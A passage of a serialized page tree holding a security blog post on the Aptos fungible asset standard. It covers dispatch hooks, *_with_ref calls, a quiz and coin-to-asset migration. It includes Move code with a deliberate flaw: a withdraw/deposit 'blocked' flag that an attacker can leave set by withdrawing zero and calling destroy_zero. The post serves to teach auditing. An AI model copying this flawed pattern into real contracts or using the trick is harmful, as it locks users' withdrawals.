deposit_hook",{"type":24,"tag":147,"props":71612,"children":71613},{"style":235},[71614],{"type":29,"value":3583},{"type":24,"tag":147,"props":71616,"children":71617},{"style":9044},[71618],{"type":29,"value":11612},{"type":24,"tag":147,"props":71620,"children":71621},{"style":241},[71622],{"type":29,"value":978},{"type":24,"tag":147,"props":71624,"children":71625},{"style":247},[71626],{"type":29,"value":11556},{"type":24,"tag":147,"props":71628,"children":71629},{"style":235},[71630],{"type":29,"value":12214},{"type":24,"tag":147,"props":71632,"children":71633},{"class":149,"line":299},[71634,71638,71642,71646,71650,71654],{"type":24,"tag":147,"props":71635,"children":71636},{"style":247},[71637],{"type":29,"value":35015},{"type":24,"tag":147,"props":71639,"children":71640},{"style":241},[71641],{"type":29,"value":978},{"type":24,"tag":147,"props":71643,"children":71644},{"style":9044},[71645],{"type":29,"value":67143},{"type":24,"tag":147,"props":71647,"children":71648},{"style":235},[71649],{"type":29,"value":3583},{"type":24,"tag":147,"props":71651,"children":71652},{"style":9044},[71653],{"type":29,"value":11612},{"type":24,"tag":147,"props":71655,"children":71656},{"style":235},[71657],{"type":29,"value":11763},{"type":24,"tag":147,"props":71659,"children":71660},{"class":149,"line":308},[71661,71666,71670,71674],{"type":24,"tag":147,"props":71662,"children":71663},{"style":247},[71664],{"type":29,"value":71665},"    fa",{"type":24,"tag":147,"props":71667,"children":71668},{"style":241},[71669],{"type":29,"value":978},{"type":24,"tag":147,"props":71671,"children":71672},{"style":9044},[71673],{"type":29,"value":67122},{"type":24,"tag":147,"props":71675,"children":71676},{"style":235},[71677],{"type":29,"value":1549},{"type":24,"tag":147,"props":71679,"children":71680},{"class":149,"line":317},[71681,71685,71689,71693,71697],{"type":24,"tag":147,"props":71682,"children":71683},{"style":247},[71684],{"type":29,"value":71491},{"type":24,"tag":147,"props":71686,"children":71687},{"style":241},[71688],{"type":29,"value":978},{"type":24,"tag":147,"props":71690,"children":71691},{"style":241},[71692],{"type":29,"value":12767},{"type":24,"tag":147,"props":71694,"children":71695},{"style":9044},[71696],{"type":29,"value":71006},{"type":24,"tag":147,"props":71698,"children":71699},{"style":235},[71700],{"type":29,"value":1549},{"type":24,"tag":147,"props":71702,"children":71703},{"class":149,"line":332},[71704],{"type":24,"tag":147,"props":71705,"children":71706},{"style":235},[71707],{"type":29,"value":505},{"type":24,"tag":147,"props":71709,"children":71710},{"class":149,"line":350},[71711],{"type":24,"tag":147,"props":71712,"children":71713},{"style":154},[71714],{"type":29,"value":71534},{"type":24,"tag":147,"props":71716,"children":71717},{"class":149,"line":358},[71718,71722,71726,71731,71735,71739,71743,71747,71751,71755],{"type":24,"tag":147,"props":71719,"children":71720},{"style":235},[71721],{"type":29,"value":71542},{"type":24,"tag":147,"props":71723,"children":71724},{"style":241},[71725],{"type":29,"value":9106},{"type":24,"tag":147,"props":71727,"children":71728},{"style":229},[71729],{"type":29,"value":71730},"deposit_with_ref",{"type":24,"tag":147,"props":71732,"children":71733},{"style":235},[71734],{"type":29,"value":480},{"type":24,"tag":147,"props":71736,"children":71737},{"style":247},[71738],{"type":29,"value":71560},{"type":24,"tag":147,"props":71740,"children":71741},{"style":235},[71742],{"type":29,"value":546},{"type":24,"tag":147,"props":71744,"children":71745},{"style":247},[71746],{"type":29,"value":11565},{"type":24,"tag":147,"props":71748,"children":71749},{"style":235},[71750],{"type":29,"value":546},{"type":24,"tag":147,"props":71752,"children":71753},{"style":247},[71754],{"type":29,"value":67315},{"type":24,"tag":147,"props":71756,"children":71757},{"style":235},[71758],{"type":29,"value":1473},{"type":24,"tag":147,"props":71760,"children":71761},{"class":149,"line":397},[71762],{"type":24,"tag":147,"props":71763,"children":71764},{"style":235},[71765],{"type":29,"value":827},{"type":24,"tag":71767,"props":71768,"children":71769},"question",{},[71770,71797],{"type":24,"tag":25,"props":71771,"children":71772},{},[71773,71775,71781,71783,71789,71790,71796],{"type":29,"value":71774},"Why hook functions rely on ",{"type":24,"tag":80,"props":71776,"children":71778},{"className":71777},[],[71779],{"type":29,"value":71780},"*_with_ref",{"type":29,"value":71782}," calls? What would happen if the hook function called ",{"type":24,"tag":80,"props":71784,"children":71786},{"className":71785},[],[71787],{"type":29,"value":71788},"dispatchable_fungible_asset::withdraw",{"type":29,"value":22399},{"type":24,"tag":80,"props":71791,"children":71793},{"className":71792},[],[71794],{"type":29,"value":71795},"fungible_asset::withdraw_with_ref",{"type":29,"value":8785},{"type":24,"tag":71798,"props":71799,"children":71800},"template",{"v-slot:answer-0":7},[71801,71813],{"type":24,"tag":25,"props":71802,"children":71803},{},[71804,71806,71811],{"type":29,"value":71805},"A1: Hook functions rely on ",{"type":24,"tag":80,"props":71807,"children":71809},{"className":71808},[],[71810],{"type":29,"value":71780},{"type":29,"value":71812}," calls because the default fungible asset functions verify if the fungible asset is not dispatchable.",{"type":24,"tag":25,"props":71814,"children":71815},{},[71816,71818,71823],{"type":29,"value":71817},"A2: A ",{"type":24,"tag":80,"props":71819,"children":71821},{"className":71820},[],[71822],{"type":29,"value":71788},{"type":29,"value":71824}," would result in RUNTIME_DISPATCH_ERROR (code 4037) error with error message: \"Re-entrancy detected\".",{"type":24,"tag":25,"props":71826,"children":71827},{},[71828],{"type":29,"value":71829},"In one of our reviews, we encountered a dispatchable fungible asset where the hooked withdrawal set a \"blocked\" flag, which was cleared by the corresponding deposit. This design was used to ensure that each withdrawal was tied to a deposit, effectively preventing simultaneous withdrawals.",{"type":24,"tag":137,"props":71831,"children":71833},{"className":8614,"code":71832,"language":8613,"meta":7,"style":7},"public fun deposit\u003CT: key>(store: Object\u003CT>, fa: FungibleAsset, transfer_ref: &TransferRef) {\n    assert_withdraw_flag(true);\n    [...]\n    set_withdraw_flag(false);\n    fungible_asset::deposit_with_ref(transfer_ref, store, amount);\n    [...]\n    }\n\npublic fun withdraw\u003CT: key>(store: Object\u003CT>, amount: u64, transfer_ref: &TransferRef): FungibleAsset acquires [...] {\n    assert_withdraw_flag(false);\n    [...]\n    set_withdraw_flag(true);\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n",[71834],{"type":24,"tag":80,"props":71835,"children":71836},{"__ignoreMap":7},[71837,71932,71952,71967,71987,72030,72045,72052,72059,72178,72197,72212,72231,72274],{"type":24,"tag":147,"props":71838,"children":71839},{"class":149,"line":150},[71840,71844,71848,71852,71856,71860,71864,71868,71872,71876,71880,71884,71888,71892,71896,71900,71904,71908,71912,71916,71920,71924,71928],{"type":24,"tag":147,"props":71841,"children":71842},{"style":247},[71843],{"type":29,"value":67257},{"type":24,"tag":147,"props":71845,"children":71846},{"style":247},[71847],{"type":29,"value":11832},{"type":24,"tag":147,"props":71849,"children":71850},{"style":247},[71851],{"type":29,"value":67266},{"type":24,"tag":147,"props":71853,"children":71854},{"style":235},[71855],{"type":29,"value":3583},{"type":24,"tag":147,"props":71857,"children":71858},{"style":9044},[71859],{"type":29,"value":11612},{"type":24,"tag":147,"props":71861,"children":71862},{"style":241},[71863],{"type":29,"value":978},{"type":24,"tag":147,"props":71865,"children":71866},{"style":247},[71867],{"type":29,"value":11556},{"type":24,"tag":147,"props":71869,"children":71870},{"style":235},[71871],{"type":29,"value":13236},{"type":24,"tag":147,"props":71873,"children":71874},{"style":247},[71875],{"type":29,"value":11565},{"type":24,"tag":147,"props":71877,"children":71878},{"style":241},[71879],{"type":29,"value":978},{"type":24,"tag":147,"props":71881,"children":71882},{"style":9044},[71883],{"type":29,"value":67143},{"type":24,"tag":147,"props":71885,"children":71886},{"style":235},[71887],{"type":29,"value":3583},{"type":24,"tag":147,"props":71889,"children":71890},{"style":9044},[71891],{"type":29,"value":11612},{"type":24,"tag":147,"props":71893,"children":71894},{"style":235},[71895],{"type":29,"value":12256},{"type":24,"tag":147,"props":71897,"children":71898},{"style":247},[71899],{"type":29,"value":67315},{"type":24,"tag":147,"props":71901,"children":71902},{"style":241},[71903],{"type":29,"value":978},{"type":24,"tag":147,"props":71905,"children":71906},{"style":9044},[71907],{"type":29,"value":67122},{"type":24,"tag":147,"props":71909,"children":71910},{"style":235},[71911],{"type":29,"value":546},{"type":24,"tag":147,"props":71913,"children":71914},{"style":247},[71915],{"type":29,"value":71560},{"type":24,"tag":147,"props":71917,"children":71918},{"style":241},[71919],{"type":29,"value":978},{"type":24,"tag":147,"props":71921,"children":71922},{"style":241},[71923],{"type":29,"value":12767},{"type":24,"tag":147,"props":71925,"children":71926},{"style":9044},[71927],{"type":29,"value":71006},{"type":24,"tag":147,"props":71929,"children":71930},{"style":235},[71931],{"type":29,"value":505},{"type":24,"tag":147,"props":71933,"children":71934},{"class":149,"line":160},[71935,71940,71944,71948],{"type":24,"tag":147,"props":71936,"children":71937},{"style":229},[71938],{"type":29,"value":71939},"    assert_withdraw_flag",{"type":24,"tag":147,"props":71941,"children":71942},{"style":235},[71943],{"type":29,"value":480},{"type":24,"tag":147,"props":71945,"children":71946},{"style":218},[71947],{"type":29,"value":9619},{"type":24,"tag":147,"props":71949,"children":71950},{"style":235},[71951],{"type":29,"value":1473},{"type":24,"tag":147,"props":71953,"children":71954},{"class":149,"line":169},[71955,71959,71963],{"type":24,"tag":147,"props":71956,"children":71957},{"style":235},[71958],{"type":29,"value":68300},{"type":24,"tag":147,"props":71960,"children":71961},{"style":241},[71962],{"type":29,"value":15212},{"type":24,"tag":147,"props":71964,"children":71965},{"style":235},[71966],{"type":29,"value":17391},{"type":24,"tag":147,"props":71968,"children":71969},{"class":149,"line":178},[71970,71975,71979,71983],{"type":24,"tag":147,"props":71971,"children":71972},{"style":229},[71973],{"type":29,"value":71974},"    set_withdraw_flag",{"type":24,"tag":147,"props":71976,"children":71977},{"style":235},[71978],{"type":29,"value":480},{"type":24,"tag":147,"props":71980,"children":71981},{"style":218},[71982],{"type":29,"value":13801},{"type":24,"tag":147,"props":71984,"children":71985},{"style":235},[71986],{"type":29,"value":1473},{"type":24,"tag":147,"props":71988,"children":71989},{"class":149,"line":187},[71990,71994,71998,72002,72006,72010,72014,72018,72022,72026],{"type":24,"tag":147,"props":71991,"children":71992},{"style":235},[71993],{"type":29,"value":71542},{"type":24,"tag":147,"props":71995,"children":71996},{"style":241},[71997],{"type":29,"value":9106},{"type":24,"tag":147,"props":71999,"children":72000},{"style":229},[72001],{"type":29,"value":71730},{"type":24,"tag":147,"props":72003,"children":72004},{"style":235},[72005],{"type":29,"value":480},{"type":24,"tag":147,"props":72007,"children":72008},{"style":247},[72009],{"type":29,"value":71560},{"type":24,"tag":147,"props":72011,"children":72012},{"style":235},[72013],{"type":29,"value":546},{"type":24,"tag":147,"props":72015,"children":72016},{"style":247},[72017],{"type":29,"value":11565},{"type":24,"tag":147,"props":72019,"children":72020},{"style":235},[72021],{"type":29,"value":546},{"type":24,"tag":147,"props":72023,"children":72024},{"style":247},[72025],{"type":29,"value":25910},{"type":24,"tag":147,"props":72027,"children":72028},{"style":235},[72029],{"type":29,"value":1473},{"type":24,"tag":147,"props":72031,"children":72032},{"class":149,"line":196},[72033,72037,72041],{"type":24,"tag":147,"props":72034,"children":72035},{"style":235},[72036],{"type":29,"value":68300},{"type":24,"tag":147,"props":72038,"children":72039},{"style":241},[72040],{"type":29,"value":15212},{"type":24,"tag":147,"props":72042,"children":72043},{"style":235},[72044],{"type":29,"value":17391},{"type":24,"tag":147,"props":72046,"children":72047},{"class":149,"line":205},[72048],{"type":24,"tag":147,"props":72049,"children":72050},{"style":235},[72051],{"type":29,"value":1952},{"type":24,"tag":147,"props":72053,"children":72054},{"class":149,"line":214},[72055],{"type":24,"tag":147,"props":72056,"children":72057},{"emptyLinePlaceholder":16},[72058],{"type":29,"value":314},{"type":24,"tag":147,"props":72060,"children":72061},{"class":149,"line":272},[72062,72066,72070,72074,72078,72082,72086,72090,72094,72098,72102,72106,72110,72114,72118,72122,72126,72130,72134,72138,72142,72146,72150,72154,72158,72162,72166,72170,72174],{"type":24,"tag":147,"props":72063,"children":72064},{"style":247},[72065],{"type":29,"value":67257},{"type":24,"tag":147,"props":72067,"children":72068},{"style":247},[72069],{"type":29,"value":11832},{"type":24,"tag":147,"props":72071,"children":72072},{"style":247},[72073],{"type":29,"value":25875},{"type":24,"tag":147,"props":72075,"children":72076},{"style":235},[72077],{"type":29,"value":3583},{"type":24,"tag":147,"props":72079,"children":72080},{"style":9044},[72081],{"type":29,"value":11612},{"type":24,"tag":147,"props":72083,"children":72084},{"style":241},[72085],{"type":29,"value":978},{"type":24,"tag":147,"props":72087,"children":72088},{"style":247},[72089],{"type":29,"value":11556},{"type":24,"tag":147,"props":72091,"children":72092},{"style":235},[72093],{"type":29,"value":13236},{"type":24,"tag":147,"props":72095,"children":72096},{"style":247},[72097],{"type":29,"value":11565},{"type":24,"tag":147,"props":72099,"children":72100},{"style":241},[72101],{"type":29,"value":978},{"type":24,"tag":147,"props":72103,"children":72104},{"style":9044},[72105],{"type":29,"value":67143},{"type":24,"tag":147,"props":72107,"children":72108},{"style":235},[72109],{"type":29,"value":3583},{"type":24,"tag":147,"props":72111,"children":72112},{"style":9044},[72113],{"type":29,"value":11612},{"type":24,"tag":147,"props":72115,"children":72116},{"style":235},[72117],{"type":29,"value":12256},{"type":24,"tag":147,"props":72119,"children":72120},{"style":247},[72121],{"type":29,"value":25910},{"type":24,"tag":147,"props":72123,"children":72124},{"style":241},[72125],{"type":29,"value":978},{"type":24,"tag":147,"props":72127,"children":72128},{"style":9044},[72129],{"type":29,"value":11484},{"type":24,"tag":147,"props":72131,"children":72132},{"style":235},[72133],{"type":29,"value":546},{"type":24,"tag":147,"props":72135,"children":72136},{"style":247},[72137],{"type":29,"value":71560},{"type":24,"tag":147,"props":72139,"children":72140},{"style":241},[72141],{"type":29,"value":978},{"type":24,"tag":147,"props":72143,"children":72144},{"style":241},[72145],{"type":29,"value":12767},{"type":24,"tag":147,"props":72147,"children":72148},{"style":9044},[72149],{"type":29,"value":71006},{"type":24,"tag":147,"props":72151,"children":72152},{"style":235},[72153],{"type":29,"value":8758},{"type":24,"tag":147,"props":72155,"children":72156},{"style":241},[72157],{"type":29,"value":978},{"type":24,"tag":147,"props":72159,"children":72160},{"style":9044},[72161],{"type":29,"value":67122},{"type":24,"tag":147,"props":72163,"children":72164},{"style":247},[72165],{"type":29,"value":13192},{"type":24,"tag":147,"props":72167,"children":72168},{"style":235},[72169],{"type":29,"value":28634},{"type":24,"tag":147,"props":72171,"children":72172},{"style":241},[72173],{"type":29,"value":15212},{"type":24,"tag":147,"props":72175,"children":72176},{"style":235},[72177],{"type":29,"value":67348},{"type":24,"tag":147,"props":72179,"children":72180},{"class":149,"line":281},[72181,72185,72189,72193],{"type":24,"tag":147,"props":72182,"children":72183},{"style":229},[72184],{"type":29,"value":71939},{"type":24,"tag":147,"props":72186,"children":72187},{"style":235},[72188],{"type":29,"value":480},{"type":24,"tag":147,"props":72190,"children":72191},{"style":218},[72192],{"type":29,"value":13801},{"type":24,"tag":147,"props":72194,"children":72195},{"style":235},[72196],{"type":29,"value":1473},{"type":24,"tag":147,"props":72198,"children":72199},{"class":149,"line":299},[72200,72204,72208],{"type":24,"tag":147,"props":72201,"children":72202},{"style":235},[72203],{"type":29,"value":68300},{"type":24,"tag":147,"props":72205,"children":72206},{"style":241},[72207],{"type":29,"value":15212},{"type":24,"tag":147,"props":72209,"children":72210},{"style":235},[72211],{"type":29,"value":17391},{"type":24,"tag":147,"props":72213,"children":72214},{"class":149,"line":308},[72215,72219,72223,72227],{"type":24,"tag":147,"props":72216,"children":72217},{"style":229},[72218],{"type":29,"value":71974},{"type":24,"tag":147,"props":72220,"children":72221},{"style":235},[72222],{"type":29,"value":480},{"type":24,"tag":147,"props":72224,"children":72225},{"style":218},[72226],{"type":29,"value":9619},{"type":24,"tag":147,"props":72228,"children":72229},{"style":235},[72230],{"type":29,"value":1473},{"type":24,"tag":147,"props":72232,"children":72233},{"class":149,"line":317},[72234,72238,72242,72246,72250,72254,72258,72262,72266,72270],{"type":24,"tag":147,"props":72235,"children":72236},{"style":235},[72237],{"type":29,"value":71542},{"type":24,"tag":147,"props":72239,"children":72240},{"style":241},[72241],{"type":29,"value":9106},{"type":24,"tag":147,"props":72243,"children":72244},{"style":229},[72245],{"type":29,"value":71551},{"type":24,"tag":147,"props":72247,"children":72248},{"style":235},[72249],{"type":29,"value":480},{"type":24,"tag":147,"props":72251,"children":72252},{"style":247},[72253],{"type":29,"value":71560},{"type":24,"tag":147,"props":72255,"children":72256},{"style":235},[72257],{"type":29,"value":546},{"type":24,"tag":147,"props":72259,"children":72260},{"style":247},[72261],{"type":29,"value":11565},{"type":24,"tag":147,"props":72263,"children":72264},{"style":235},[72265],{"type":29,"value":546},{"type":24,"tag":147,"props":72267,"children":72268},{"style":247},[72269],{"type":29,"value":25910},{"type":24,"tag":147,"props":72271,"children":72272},{"style":235},[72273],{"type":29,"value":269},{"type":24,"tag":147,"props":72275,"children":72276},{"class":149,"line":332},[72277],{"type":24,"tag":147,"props":72278,"children":72279},{"style":235},[72280],{"type":29,"value":827},{"type":24,"tag":25,"props":72282,"children":72283},{},[72284],{"type":29,"value":72285},"At first glance, this code appears valid, but not to an astute reader.",{"type":24,"tag":71767,"props":72287,"children":72288},{},[72289,72294],{"type":24,"tag":25,"props":72290,"children":72291},{},[72292],{"type":29,"value":72293},"Can you spot the bug? Hint: We mentioned the root cause previously.",{"type":24,"tag":71798,"props":72295,"children":72296},{"v-slot:answer-0":7},[72297,72317],{"type":24,"tag":25,"props":72298,"children":72299},{},[72300,72302,72307,72309,72315],{"type":29,"value":72301},"The developer overlooked an important detail, which we already mentioned earlier: a fungible asset with a value of zero can also be burned! An attacker could exploit this by withdrawing 0 ",{"type":24,"tag":80,"props":72303,"children":72305},{"className":72304},[],[72306],{"type":29,"value":67093},{"type":29,"value":72308}," (since withdraw doesn’t verify if the value is greater than 0) and then burning it using ",{"type":24,"tag":80,"props":72310,"children":72312},{"className":72311},[],[72313],{"type":29,"value":72314},"fungible_asset::destroy_zero",{"type":29,"value":72316},". This would complete the transaction while keeping the \"blocked\" flag set, effectively preventing further withdrawals.",{"type":24,"tag":25,"props":72318,"children":72319},{},[72320],{"type":29,"value":72321},"It's important to understand all the features in the standard.",{"type":24,"tag":32,"props":72323,"children":72325},{"id":72324},"migrating-from-coins-to-fungible-assets",[72326],{"type":29,"value":72327},"Migrating from coins to fungible assets",{"type":24,"tag":25,"props":72329,"children":72330},{},[72331,72333,72338],{"type":29,"value":72332},"If a fungible asset is considered an upgrade to ",{"type":24,"tag":80,"props":72334,"children":72336},{"className":72335},[],[72337],{"type":29,"value":66548},{"type":29,"value":72339},", a transition mechanism becomes necessary. This is addressed through a conversion map, establishing a relationship between specific coin and fungible asset. This duality is not without its challenges.",{"type":24,"tag":72341,"props":72342,"children":72343},"note",{},[72344],{"type":24,"tag":25,"props":72345,"children":72346},{},[72347,72349,72354,72356,72361],{"type":29,"value":72348},"While the ",{"type":24,"tag":80,"props":72350,"children":72352},{"className":72351},[],[72353],{"type":29,"value":66548},{"type":29,"value":72355}," API recognizes and integrates with fungible assets, the fungible asset APIs do not have awareness of the linked ",{"type":24,"tag":80,"props":72357,"children":72359},{"className":72358},[],[72360],{"type":29,"value":66548},{"type":29,"value":87},{"type":24,"tag":25,"props":72363,"children":72364},{},[72365,72366,72372,72374,72379,72381,72386],{"type":29,"value":5094},{"type":24,"tag":80,"props":72367,"children":72369},{"className":72368},[],[72370],{"type":29,"value":72371},"coin_to_fungible_asset",{"type":29,"value":72373}," converting function automatically generates a corresponding fungible asset for a ",{"type":24,"tag":80,"props":72375,"children":72377},{"className":72376},[],[72378],{"type":29,"value":66548},{"type":29,"value":72380}," if one does not already exist. Manual creation of a fungible asset and its linkage to a ",{"type":24,"tag":80,"props":72382,"children":72384},{"className":72383},[],[72385],{"type":29,"value":66548},{"type":29,"value":72387}," is not allowed.",{"type":24,"tag":137,"props":72389,"children":72391},{"className":8614,"code":72390,"language":8613,"meta":7,"style":7},"public fun coin_to_fungible_asset\u003CCoinType>(\n    coin: Coin\u003CCoinType>\n): FungibleAsset acquires CoinConversionMap, CoinInfo {\n    let metadata = ensure_paired_metadata\u003CCoinType>();\n    let amount = burn_internal(coin);\n    fungible_asset::mint_internal(metadata, amount)\n}\n",[72392],{"type":24,"tag":80,"props":72393,"children":72394},{"__ignoreMap":7},[72395,72423,72450,72486,72519,72552,72588],{"type":24,"tag":147,"props":72396,"children":72397},{"class":149,"line":150},[72398,72402,72406,72411,72415,72419],{"type":24,"tag":147,"props":72399,"children":72400},{"style":247},[72401],{"type":29,"value":67257},{"type":24,"tag":147,"props":72403,"children":72404},{"style":247},[72405],{"type":29,"value":11832},{"type":24,"tag":147,"props":72407,"children":72408},{"style":247},[72409],{"type":29,"value":72410}," coin_to_fungible_asset",{"type":24,"tag":147,"props":72412,"children":72413},{"style":235},[72414],{"type":29,"value":3583},{"type":24,"tag":147,"props":72416,"children":72417},{"style":9044},[72418],{"type":29,"value":12209},{"type":24,"tag":147,"props":72420,"children":72421},{"style":235},[72422],{"type":29,"value":12214},{"type":24,"tag":147,"props":72424,"children":72425},{"class":149,"line":160},[72426,72430,72434,72438,72442,72446],{"type":24,"tag":147,"props":72427,"children":72428},{"style":247},[72429],{"type":29,"value":66767},{"type":24,"tag":147,"props":72431,"children":72432},{"style":241},[72433],{"type":29,"value":978},{"type":24,"tag":147,"props":72435,"children":72436},{"style":9044},[72437],{"type":29,"value":11426},{"type":24,"tag":147,"props":72439,"children":72440},{"style":235},[72441],{"type":29,"value":3583},{"type":24,"tag":147,"props":72443,"children":72444},{"style":9044},[72445],{"type":29,"value":12209},{"type":24,"tag":147,"props":72447,"children":72448},{"style":235},[72449],{"type":29,"value":11617},{"type":24,"tag":147,"props":72451,"children":72452},{"class":149,"line":169},[72453,72457,72461,72465,72469,72474,72478,72482],{"type":24,"tag":147,"props":72454,"children":72455},{"style":235},[72456],{"type":29,"value":8758},{"type":24,"tag":147,"props":72458,"children":72459},{"style":241},[72460],{"type":29,"value":978},{"type":24,"tag":147,"props":72462,"children":72463},{"style":9044},[72464],{"type":29,"value":67122},{"type":24,"tag":147,"props":72466,"children":72467},{"style":247},[72468],{"type":29,"value":13192},{"type":24,"tag":147,"props":72470,"children":72471},{"style":9044},[72472],{"type":29,"value":72473}," CoinConversionMap",{"type":24,"tag":147,"props":72475,"children":72476},{"style":235},[72477],{"type":29,"value":546},{"type":24,"tag":147,"props":72479,"children":72480},{"style":9044},[72481],{"type":29,"value":12339},{"type":24,"tag":147,"props":72483,"children":72484},{"style":235},[72485],{"type":29,"value":6630},{"type":24,"tag":147,"props":72487,"children":72488},{"class":149,"line":178},[72489,72493,72498,72502,72507,72511,72515],{"type":24,"tag":147,"props":72490,"children":72491},{"style":218},[72492],{"type":29,"value":8634},{"type":24,"tag":147,"props":72494,"children":72495},{"style":247},[72496],{"type":29,"value":72497}," metadata",{"type":24,"tag":147,"props":72499,"children":72500},{"style":241},[72501],{"type":29,"value":651},{"type":24,"tag":147,"props":72503,"children":72504},{"style":247},[72505],{"type":29,"value":72506}," ensure_paired_metadata",{"type":24,"tag":147,"props":72508,"children":72509},{"style":235},[72510],{"type":29,"value":3583},{"type":24,"tag":147,"props":72512,"children":72513},{"style":9044},[72514],{"type":29,"value":12209},{"type":24,"tag":147,"props":72516,"children":72517},{"style":235},[72518],{"type":29,"value":14077},{"type":24,"tag":147,"props":72520,"children":72521},{"class":149,"line":187},[72522,72526,72531,72535,72540,72544,72548],{"type":24,"tag":147,"props":72523,"children":72524},{"style":218},[72525],{"type":29,"value":8634},{"type":24,"tag":147,"props":72527,"children":72528},{"style":247},[72529],{"type":29,"value":72530}," amount",{"type":24,"tag":147,"props":72532,"children":72533},{"style":241},[72534],{"type":29,"value":651},{"type":24,"tag":147,"props":72536,"children":72537},{"style":229},[72538],{"type":29,"value":72539}," burn_internal",{"type":24,"tag":147,"props":72541,"children":72542},{"style":235},[72543],{"type":29,"value":480},{"type":24,"tag":147,"props":72545,"children":72546},{"style":247},[72547],{"type":29,"value":66515},{"type":24,"tag":147,"props":72549,"children":72550},{"style":235},[72551],{"type":29,"value":1473},{"type":24,"tag":147,"props":72553,"children":72554},{"class":149,"line":196},[72555,72559,72563,72568,72572,72576,72580,72584],{"type":24,"tag":147,"props":72556,"children":72557},{"style":235},[72558],{"type":29,"value":71542},{"type":24,"tag":147,"props":72560,"children":72561},{"style":241},[72562],{"type":29,"value":9106},{"type":24,"tag":147,"props":72564,"children":72565},{"style":229},[72566],{"type":29,"value":72567},"mint_internal",{"type":24,"tag":147,"props":72569,"children":72570},{"style":235},[72571],{"type":29,"value":480},{"type":24,"tag":147,"props":72573,"children":72574},{"style":247},[72575],{"type":29,"value":67894},{"type":24,"tag":147,"props":72577,"children":72578},{"style":235},[72579],{"type":29,"value":546},{"type":24,"tag":147,"props":72581,"children":72582},{"style":247},[72583],{"type":29,"value":25910},{"type":24,"tag":147,"props":72585,"children":72586},{"style":235},[72587],{"type":29,"value":269},{"type":24,"tag":147,"props":72589,"children":72590},{"class":149,"line":205},[72591],{"type":24,"tag":147,"props":72592,"children":72593},{"style":235},[72594],{"type":29,"value":827},{"type":24,"tag":25,"props":72596,"children":72597},{},[72598,72600,72607],{"type":29,"value":72599},"When creating a fungible asset, several pieces of information are required, such as the asset’s name, symbol, or maximum supply. During our audit of the fungible asset standard, we ",{"type":24,"tag":2773,"props":72601,"children":72604},{"href":72602,"rel":72603},"https://github.com/aptos-labs/aptos-core/commit/e5f4b62b237dad4d15069d3bb0b551b2df04bf08",[2777],[72605],{"type":29,"value":72606},"noticed an overlooked detail",{"type":29,"value":72608}," in the linking process.",{"type":24,"tag":137,"props":72610,"children":72612},{"className":8614,"code":72611,"language":8613,"meta":7,"style":7},"[...]\nprimary_fungible_store::create_primary_store_enabled_fungible_asset(\n    &metadata_object_cref,\n    option::map(coin_supply\u003CCoinType>(), |_| MAX_U128),\n    name\u003CCoinType>(),\n    symbol\u003CCoinType>(),\n    decimals\u003CCoinType>(),\n    string::utf8(b\"\"),\n    string::utf8(b\"\"),\n);\n[...]\n",[72613],{"type":24,"tag":80,"props":72614,"children":72615},{"__ignoreMap":7},[72616,72631,72651,72668,72724,72745,72765,72785,72815,72842,72849],{"type":24,"tag":147,"props":72617,"children":72618},{"class":149,"line":150},[72619,72623,72627],{"type":24,"tag":147,"props":72620,"children":72621},{"style":235},[72622],{"type":29,"value":9358},{"type":24,"tag":147,"props":72624,"children":72625},{"style":241},[72626],{"type":29,"value":15212},{"type":24,"tag":147,"props":72628,"children":72629},{"style":235},[72630],{"type":29,"value":17391},{"type":24,"tag":147,"props":72632,"children":72633},{"class":149,"line":160},[72634,72638,72642,72647],{"type":24,"tag":147,"props":72635,"children":72636},{"style":235},[72637],{"type":29,"value":68191},{"type":24,"tag":147,"props":72639,"children":72640},{"style":241},[72641],{"type":29,"value":9106},{"type":24,"tag":147,"props":72643,"children":72644},{"style":229},[72645],{"type":29,"value":72646},"create_primary_store_enabled_fungible_asset",{"type":24,"tag":147,"props":72648,"children":72649},{"style":235},[72650],{"type":29,"value":9088},{"type":24,"tag":147,"props":72652,"children":72653},{"class":149,"line":169},[72654,72659,72664],{"type":24,"tag":147,"props":72655,"children":72656},{"style":241},[72657],{"type":29,"value":72658},"    &",{"type":24,"tag":147,"props":72660,"children":72661},{"style":247},[72662],{"type":29,"value":72663},"metadata_object_cref",{"type":24,"tag":147,"props":72665,"children":72666},{"style":235},[72667],{"type":29,"value":1549},{"type":24,"tag":147,"props":72669,"children":72670},{"class":149,"line":178},[72671,72676,72680,72685,72689,72694,72698,72702,72707,72711,72715,72719],{"type":24,"tag":147,"props":72672,"children":72673},{"style":235},[72674],{"type":29,"value":72675},"    option",{"type":24,"tag":147,"props":72677,"children":72678},{"style":241},[72679],{"type":29,"value":9106},{"type":24,"tag":147,"props":72681,"children":72682},{"style":229},[72683],{"type":29,"value":72684},"map",{"type":24,"tag":147,"props":72686,"children":72687},{"style":235},[72688],{"type":29,"value":480},{"type":24,"tag":147,"props":72690,"children":72691},{"style":247},[72692],{"type":29,"value":72693},"coin_supply",{"type":24,"tag":147,"props":72695,"children":72696},{"style":235},[72697],{"type":29,"value":3583},{"type":24,"tag":147,"props":72699,"children":72700},{"style":9044},[72701],{"type":29,"value":12209},{"type":24,"tag":147,"props":72703,"children":72704},{"style":235},[72705],{"type":29,"value":72706},">(), ",{"type":24,"tag":147,"props":72708,"children":72709},{"style":241},[72710],{"type":29,"value":16037},{"type":24,"tag":147,"props":72712,"children":72713},{"style":247},[72714],{"type":29,"value":8714},{"type":24,"tag":147,"props":72716,"children":72717},{"style":241},[72718],{"type":29,"value":16037},{"type":24,"tag":147,"props":72720,"children":72721},{"style":235},[72722],{"type":29,"value":72723}," MAX_U128),\n",{"type":24,"tag":147,"props":72725,"children":72726},{"class":149,"line":187},[72727,72732,72736,72740],{"type":24,"tag":147,"props":72728,"children":72729},{"style":247},[72730],{"type":29,"value":72731},"    name",{"type":24,"tag":147,"props":72733,"children":72734},{"style":235},[72735],{"type":29,"value":3583},{"type":24,"tag":147,"props":72737,"children":72738},{"style":9044},[72739],{"type":29,"value":12209},{"type":24,"tag":147,"props":72741,"children":72742},{"style":235},[72743],{"type":29,"value":72744},">(),\n",{"type":24,"tag":147,"props":72746,"children":72747},{"class":149,"line":196},[72748,72753,72757,72761],{"type":24,"tag":147,"props":72749,"children":72750},{"style":247},[72751],{"type":29,"value":72752},"    